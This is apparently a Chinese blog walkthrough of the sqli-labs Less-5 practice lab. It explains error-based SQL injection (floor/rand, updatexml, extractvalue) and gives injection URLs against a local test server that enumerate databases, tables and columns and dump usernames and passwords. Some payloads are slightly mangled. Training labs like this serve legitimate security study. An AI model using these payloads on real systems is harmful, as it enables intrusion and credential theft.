1. 程式人生 > 實用技巧 >sqli-lbs:Less-5~10 Double Query- Single Quotes- String

sqli-lbs:Less-5~10 Double Query- Single Quotes- String

第五關:Double Query- Single Quotes- String

1.輸入?id=2看見頁面如下:
在這裡插入圖片描述輸入?id=666時,發現頁面發生變化
在這裡插入圖片描述說明頁面沒有顯示位。無法使用聯合查詢注入
2.接著我們嘗試在URL中輸入 ?id=2’ 頁面出現錯誤語句如下
在這裡插入圖片描述但是可以發現存在注入點,這裡可以閉合引號,隨後通過查詢列數發現這裡也是3列
這道題使用的是報錯注入
2.何為報錯注入
報錯注入就是通過人為的引起資料庫的報錯,但是資料庫在報錯的同時會將查詢的結果也呈現在報錯中,我在這裡介紹一下報錯注入以及原理
這是網上使用最廣泛的一句報錯注入語句:
select count(*),(floor(rand(0)2))x from information_schema.tables group by x;

那麼必須是要按這個句子來執行嗎,或者必須要這些句子嗎?
通過查詢很多網站的資料,我總結出:
group by,rand(),floor()三個函式是必須存在的,缺一不可,並且rand(),rand(0)兩個句子還是有一些區別的,其中rand()在兩條資料以上隨即報錯,rand(0)在三條資料以上必報錯
介紹三種報錯注入常用的語句:

(1). 通過floor報錯
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句

需要注意的是該語句將 輸出字元長度限制為64個字

(2). 通過updatexml報錯
and updatexml(1, payload,1)
同樣該語句對輸出的字元長度也做了限制,其最長輸出32位
並且該語句對payload的反悔型別也做了限制,只有在payload返回的不是xml格式才會生

(3). 通過ExtractValue報錯
and extractvalue(1, payload)
輸出字元有長度限制,最長32位。

payload即我們要輸入的sql查詢語句

**3.**構造如下語句:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()2)) as x from information_schema.tables group by x) as a) --+

在這裡插入圖片描述
提示輸出資訊超過一行,說明這裡資料庫名組成的字串長度超過了64位(group_concat()函式最大長度為64位),所以需要放棄group_concat()函式,而使用limit 0,1來一個個輸出。
limit 0,1 表示輸出第一個資料。 0表示輸出的起始位置,1表示跨度為1(即輸出幾個資料,1表示輸出一個,2就表示輸出兩個)
更改語句為:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(
),concat((select concat(schema_name,’;’) from information_schema.schemata limit 0,1),floor(rand()2)) as x from information_schema.tables group by x) as a)–+
在這裡插入圖片描述**4.**繼續爆其他資料庫名,改變limit n,1即可:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(
),concat((select concat(schema_name,’;’) from information_schema.schemata limit 1,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述在這裡插入圖片描述
在這裡插入圖片描述
會發現到了n=6的時候就發生了變化:
在這裡插入圖片描述當顯示該情況時,說明已經爆完。
5. 爆security資料庫中的表:
構造:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+ 還是更換limit n,1一個一個爆出。
在這裡插入圖片描述

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
**6.**爆users表的列名:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
在這裡插入圖片描述
在這裡插入圖片描述在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

**9.**爆users表中的內容:使用者名稱和密碼為,同樣,limit n,1 慢慢來吧:http://127.0.0.1/Less-5/?id=2’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)–+

在這裡插入圖片描述
在這裡插入圖片描述
!在這裡插入圖片描述
在這裡插入圖片描述

除此之外還有好幾個,我就不一一爆出了,一共14個使用者名稱和密碼,到了n=14就會發現爆完了。好啦,第五題就此完事